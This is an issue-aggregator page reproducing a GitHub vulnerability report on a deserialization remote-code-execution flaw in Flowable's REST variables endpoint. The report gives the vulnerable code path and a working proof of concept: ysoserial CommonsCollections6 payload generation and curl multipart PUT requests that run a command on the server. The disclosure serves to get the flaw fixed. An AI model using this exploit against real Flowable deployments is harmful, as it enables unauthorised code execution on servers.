Hacktoberfest 2026: los issues que los mantenedores marcaron para octubre, abiertos y aptos para principiantes. Explorar issues de Hacktoberfest

[SECURITY] Deserialization RCE via PUT /runtime/executions/{executionId}/variables with type=serializable (CWE-502, CVSS 8.8)

Abierto
  • ¿Algo no está bien?
#4,279 2 comentarios 0 reacciones 0 asignados Ver en GitHub

Nadie ha tomado este issue todavía.

Evaluación

Dificultad
5/5
Tiempo estimado
Más de una semana
Aptitud para principiantes
20/100
Tipo de issue
Error
Claridad
Bien especificado
Estado de actividad
Activo
Stack tecnológico
java
Área
security

Línea de trabajo

The vulnerability is in modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java lines 162-166, where ObjectInputStream.readObject() is called without validation. Start by examining the property 'rest.variables.allow.serializable' and the setBinaryVariable method. A fix likely involves adding an ObjectInputFilter or disabling deserialization by default. Testing requires understanding Java serialization and security patches.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

Flowable REST ExecutionVariableResource PUT Deserialization RCE

Summary

In the Flowable REST module, the ExecutionVariableResource provides a PUT /runtime/executions/{executionId}/variables/{variableName} endpoint that supports uploading binary variables via multipart/form-data. When the request parameter type=serializable, the server directly feeds the user-uploaded file byte stream to java.io.ObjectInputStream.readObject() for deserialization, with no whitelist / class name validation / ObjectInputFilter. An attacker with any basicAuth credentials can construct a malicious serialized byte stream (e.g., ysoserial CommonsCollections6 gadget chain) to trigger arbitrary code execution on the Flowable server. This is triggerable under default configuration (rest.variables.allow.serializable defaults to true).

Affected Version & Commit

Vulnerability Description

Trigger Location

modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:162-166

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();   // <-- deserialization sink
    setVariable(execution, variableName, value, scope, isNew, false);
    stream.close();
}
Data Flow
  1. HTTP PUT enters ExecutionVariableResource.updateVariable (ExecutionVariableResource.java:98)
  2. executionId is queried from the database via getExecutionFromRequestWithoutAccessCheck, obtaining an Execution object
  3. The request is multipart, hitting the request instanceof MultipartHttpServletRequest branch, calling setBinaryVariable(request, execution, false, false)
  4. setBinaryVariable parses form parameters name/type/scope, validates type is only binary or serializable
  5. When type is serializable and isSerializableVariableAllowed == true (default), executes ObjectInputStream stream = new ObjectInputStream(file.getInputStream()); Object value = stream.readObject(); — the attacker-controlled file byte stream directly triggers the deserialization sink
  6. After deserialization, calls setVariable(...) to store the deserialized object as a runtime variable
Configuration Switch (Enabled by Default)

BaseExecutionVariableResource.java:70:

isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);

Default value is true, meaning the deserialization path is directly reachable under default configuration.

Affected Endpoints

  • PUT /runtime/executions/{executionId}/variables/{variableName} (port 8080, flowable-rest module)

Exploitation Conditions

Condition Description
Authentication Requires basicAuth regular user credentials (any registered user, no admin required)
Network reachability Network reachable (HTTP REST endpoint)
Configuration dependency rest.variables.allow.serializable defaults to true
Other prerequisites Target executionId must exist (can enumerate via GET /runtime/executions); classpath contains CommonsCollections 3.2.2

Proof of Concept

Step 1: Generate ysoserial CommonsCollections6 payload
java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/pwned_entry_0609' > cc6_payload.ser
Step 2: Trigger deserialization via PUT multipart request
rm -f /tmp/pwned_entry_0609

curl -s -u rest-admin:test \
     -X PUT \
     "http://localhost:8080/flowable-rest/service/runtime/executions/0332a888-8fff-11f1-a444-02423661ba3a/variables/evil_var2" \
     -F "file=@cc6_payload.ser" \
     -F "name=evil_var2" \
     -F "type=serializable" \
     -F "scope=global"

Returns HTTP 200:

{
    "name": "evil_var2",
    "type": "serializable",
    "value": null,
    "valueUrl": "http://localhost:8080/flowable-rest/service/runtime/executions/0332a888-8fff-11f1-a444-02423661ba3a/variables/evil_var2/data",
    "scope": "global"
}
Step 3: Verify RCE file landed
ls -la /tmp/pwned_entry_0609
# -rw-r----- 1 root root 0 Aug  4 12:25 /tmp/pwned_entry_0609
Step 4: Second verification (different variableName)
java ... -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/pwned_entry_0609_second_proof' > cc6_second.ser

curl -s -u rest-admin:test \
     -X PUT \
     "http://localhost:8080/flowable-rest/service/runtime/executions/0332a888-8fff-11f1-a444-02423661ba3a/variables/put_rce_id" \
     -F "file=@cc6_second.ser" \
     -F "name=put_rce_id" \
     -F "type=serializable" \
     -F "scope=global"
# HTTP 200

ls -la /tmp/pwned_entry_0609_second_proof
# -rw-r----- 1 root root 0 Aug  4 12:26 /tmp/pwned_entry_0609_second_proof

Two different filenames were both created on the Flowable server filesystem, proving the deserialization chain fully triggers the CommonsCollections6 gadget at ObjectInputStream.readObject(), achieving arbitrary command execution.

Exploitation Chain Progress

Chain Stage Location (file:line) Status Evidence / Notes
Entry PUT endpoint ExecutionVariableResource.java:97-98 ✅ Connected HTTP 200 returns JSON
Multipart branch ExecutionVariableResource.java:103-104 ✅ Connected request instanceof MultipartHttpServletRequest matched
Type validation BaseExecutionVariableResource.java:144-147 ✅ Bypassed type=serializable is in whitelist
Deserialization sink BaseExecutionVariableResource.java:164-165 ✅ Triggered ObjectInputStream.readObject() no whitelist/filter
Conclusion — ✅ Full chain closed /tmp/pwned_entry_0609 file created, RCE successful

Impact

An attacker with any basicAuth credentials can upload a ysoserial malicious serialized stream to the Flowable REST endpoint via a single multipart PUT request, triggering server-side RCE under default configuration. Two independent tests both successfully created files, demonstrating stable and reproducible exploitation.

Severity

CVSS v3.1: 8.8 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502 (Deserialization of Untrusted Data)

Credit

  • Jiecub3 (GitHub ID: 87791178)
  • Aur0ra-m (GitHub ID: 103031059)
  • lz2y (GitHub ID: 55266300)
Lenguaje dominante
Java
Estrellas
9.6k
Forks
2.9k
Merge medio
1 h 9 min
PR fusionados (30 d)
2

Preparar el entorno

  • Sin Dockerfile ni archivo de Docker Compose
  • Tiene una plantilla de pull request
  • Sin guía de contribución

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de flowable/flowable-engine

Todos los issues de flowable/flowable-engine

Issues similares

Más issues de Java

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.